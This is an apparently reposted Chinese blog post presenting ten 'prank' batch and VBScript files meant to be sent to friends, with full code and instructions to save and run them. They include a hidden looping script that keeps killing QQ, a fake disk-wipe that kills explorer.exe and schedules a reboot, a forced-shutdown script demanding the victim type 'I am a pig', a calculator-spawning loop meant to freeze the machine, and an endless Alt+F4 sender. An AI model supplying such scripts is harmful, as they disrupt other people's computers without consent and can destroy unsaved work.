前言

🚀 作者 ：“程序員梨子”

🚀 **文章簡介 **：本篇文章主要是寫了自動刷金幣腳本啦！

🚀 **文章源碼獲取 **： 為了感謝每一個關注我的小可愛💓每篇文章的項目源碼都是無償分

享滴💓👇👇👇👇

點這里藍色這行字體自取，需要什么源碼記得說標題名字哈！私信我也可！

🚀 歡迎小伙伴們 點贊👍、收藏?、留言💬

正文

好久不見！

你們親愛的小梨子，帶著包袱滿滿的整蠱代碼回來啦！

那今天我們就來盤點一下：學生時代的那些整蠱大法！！

1）寫個紙條貼在同學背后

突然抽走椅子讓你摔個屁股墩

把你的鞋帶綁在凳子腿上

這些都是基本操作！

2）還總有一些同學這樣喊道

“班主任在后門”

“那個誰誰誰，老師找你讓你趕快去辦公室”

是想嚇死個誰啊！

還有同學謊稱“明天放假咦，不用上課啦”

這種真的有哪個小天真會信嗎

更有“你的錢掉了”

“咦！地上是誰的100塊錢~”

那時的你會低頭看看嗎？

3）還有同學買那種整蠱玩具

打開盒子突然出現的

恐怖鬼臉+惡魔般的音效

超仿真的小蛇、蜘蛛玩偶

都是噩夢般的存在！

那么今日互動話題來了

你還記得哪些校園整蠱的套路嗎？

評論留言給我吧！

溫馨提示：整蠱有風險，整蠱需謹慎玩笑歸玩笑，不要太過哦不然你真的會“友”盡了

（1）殺死ta的QQ。

@echo off if "%1" == "h" goto begin mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit :begin tasklist |find /i "QQ.exe" if %errorlevel%==0 (goto killit) else (goto next) :killit taskkill /f /im QQ.exe :next ping -n 3 127.t >nul 2>nul goto begin

把以上代碼保存成txt格式，然后把后綴改成bat,然后雙擊運行嘿嘿，那他的qq就不能運行了喲~

?（2）格式化磁盤。

@ color 4f @echo offecho 刪除計算機的C盤的所有文件......ping 127.0.0.1 /n 2 >nulecho 已刪除完畢echo.echo 刪除計算機的D盤的所有文件......ping 127.0.0.1 /n 2 >nulecho 已刪除完畢echo.echo 刪除計算機的E盤的所有文件......ping 127.0.0.1 /n 2 >nulecho 已刪除完畢@ colorecho.echo. =========================================echo. 啊哈哈，都刪關，都殺關，哈哈 ……echo. =========================================echo. 系統將馬上崩潰......echo. 這是一個木馬程序......您的所有資料已經傳到 XXXX@163.comshutdown /r /t 30 /c "電腦在30s內即將崩潰,哈哈，你活該！"ntsd -c q -pn explorer.exeping 127.0.0.1 /n 20 >nulstart explorer.exeshutdown -a

將以上部分保存到txt格式，然后把后綴改成bat就可以運行了，運行后他的磁盤會被格式化。

當然那是假的。。。用來嚇人的。。。希望你玩的愉快。。。

（3）讓ta說ta是豬。

set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""說我是豬，不說我是豬就一分鐘關機，不信，試下···"" ",0 ,true dim a do while(a <> "我是豬") a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬"" ","說不說","",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"

新建一個記事本 把上面的代碼復制進去 另存為VBE格式的就可以了，讓對方說 他是🐖。

?（4）直接死機。

set wsh=createobject("wscript.shell") do wsh.run "calc" loop

新建一個記事本 把上面的代碼復制進去 另存為VBE格式的就可以了

打開無數個計算器，直到死機。

?（5）一直說You are pig!

do msgbox "You are pig!" loop

(6)重復說話200次。

Set WshShell = WScript.Createobject("WScript.Shell") for i = 1 to 200 WScript.Sleep 1 WshShell.SendKeys"^v" wshShell.SendKeys"{ENTER}" next

（7）給我按200次回車。

for i = 0 to 200 msgbox "回車[滑稽]",64 next

（8）Alt+F4超可怕。

do Set WshShell = WScript.Createobject("WScript.Shell") WshShell.SendKeys "%{F4}" '%代表Alt' loop

（9）問答形式。

a=msgbox "你是不是有點兒蠢?",vbOKCancel if a = vbOK then msgbox("確實有點兒！") elseif a=vbCancel then do msgbox("蠢蠢的！") loop

問答2——借錢的時候場景再現哈哈哈。

msgbox "你在嗎",vbQuestion,"在嗎" msgbox ("我借你1w塊錢") msgbox ("1個月給你") msgbox ("不給，我就是PIG") dim j do while j<1 Select Case msgbox("借給我好嗎",68,"請鄭重的回答我") Case 6 j=1 Case 7 msgbox("想好了再說") end Select loop msgbox("我就知道你會同意的，哈哈哈哈")

（10）強制表白。

Dim Style, Title, Help, Ctxt,MyString '定義變量 Dim Msg1,Msg2,Msg3 '定義消息文本 Dim Response '定義返回對象 Dim Msg() redim Msg(4) Msg(0)="做我女朋友好不好？" Msg(1)="就知道你會說好！" Msg(2)="你是我的小可愛嘞！" Msg(3)="所以我必須是你的大可愛！" Style=vbYesNo+vbInformation Title="小姐姐是我的小可愛"for i=0 to 3Response=MsgBox(Msg(i),Style,Title)If Response=vbYes Then ' 用戶選擇[是]MyString="Yes" ' Perform some action.Response=MsgBox("4號小姐姐搞定",vtOKonly,Title)exit forElse ' 用戶選擇[否].MyString="No" ' Perform some action.If i =3 Theni=-1End IfEnd If Next

效果截圖——vbs運行之后：

?點擊否定按鈕會一直循環彈窗如下：

同意之后效果如下：

大部分的代碼的話我就沒截圖了哈！10組代碼的話我就僅展示一組效果！

其他的效果大家自己試試哦~肯定有驚喜滴！哈哈哈

番外篇——表白！

算了——再來一組番外篇給大家展示下效果哈，這組必須發給喜歡的女神看哈，抓住機會不要錯過！！！

點開就可以，不需要安裝啥子東西， 有瀏覽器就可以啦~

?

?

?

?總結

哈哈哈！拿代碼去跟小伙伴兒玩吧~不過這可能比較廢朋友，謹慎使用哈~

關注小編獲取更多精彩內容！記得點擊傳送門哈👇

記得三連哦！ 如需打包好的源碼+素材免費分享滴！！傳送門

總結

以上是生活随笔為你收集整理的【Python整蛊合集】多份整蛊代码，发给朋友之后我.....(友尽系列推荐)的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。